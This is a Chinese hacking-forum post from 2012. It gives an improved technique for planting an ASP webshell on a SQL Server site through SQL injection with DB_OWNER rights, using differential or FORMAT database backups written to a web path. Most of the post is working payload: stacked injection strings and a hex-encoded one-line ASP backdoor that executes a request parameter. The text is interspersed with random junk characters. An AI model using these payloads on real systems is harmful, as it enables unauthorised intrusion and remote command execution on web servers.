找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2095|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:# X. x" O  B- q8 O9 B. P
7 z7 _1 V# ]0 E" t
减少备份文件大小,得到可执行的webshell成功率提高不少
; I: N- c4 F4 I5 c一利用差异备份
$ V$ O4 {; _8 {8 j) Q加一个参数WITH DIFFERENTIAL
3 I" o! f8 z4 l  D3 Y* D6 o9 j  y0 H- F6 ~1 w% A' f9 f
1" Z' p0 I" a$ J  W/ |% z) ?1 g
2
" O" }6 c7 F) ~1 F, O3
, V1 {; j  P+ R5 [' P4
: v: R' t0 p8 Z1 r% g5 k declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
; ?1 A' P1 S4 u2 O6 S6 Z/ kcreate table [dbo].[xiaolu] ([cmd] [image]);
5 M! J2 v# S4 H& {* J. binsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ B- k7 I4 e1 `. t
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL + v" P8 L( @( T  L
- m5 J! v( s4 D' _- ~* o8 H% _8 N
二利用完全FORMAT
9 A4 I. j9 U% c1 q" h加一个参数WITH FROMAT( Y3 S: }8 j, W
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以# G4 W1 U) S8 a, |9 I

2 g' H: {- Y, l6 d4 w7 o/ G1) q; l- a" L0 o4 H4 H- s4 h$ t
2
! P1 J  u" [+ h; Y% I' [5 Y  v3
  b! V1 v; |, o0 M% w/ l4
( b) N6 h- `7 U9 c  Y" A declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" n* U& z+ x! c3 ^9 R/ g0 zcreate table [dbo].[xiaolu] ([cmd] [image]);
8 z; v, C- z# f$ R3 T7 F% S  Winsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( P' `  M/ C2 [2 Fdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT ( E9 P& W0 B0 H
' P& R: d4 x0 ]5 J' `" J: ~
总的来说就是那么简单几句,下面以备份数据库model为例子
: l% f5 N8 q& g8 c1
9 U  x: h% q( F. M) T6 o! y) H$ C. O% Q6 a$ o5 o* t. a/ ^
1, r) B) Z6 L2 a3 P3 {( ]9 b0 Q
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 9 z2 W) e' H3 E- r# d) z

( i& z" D4 {* I' ~& Q1 `2
3 i3 _- ?' e0 F% }8 c  g/ C; O# \* c2 g: U0 Q
1
" b# x* e4 K" P. L) v id=1;backup database model to disk='你的路径‘ with differential,format;--
8 H( ?+ ~8 A6 }( \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表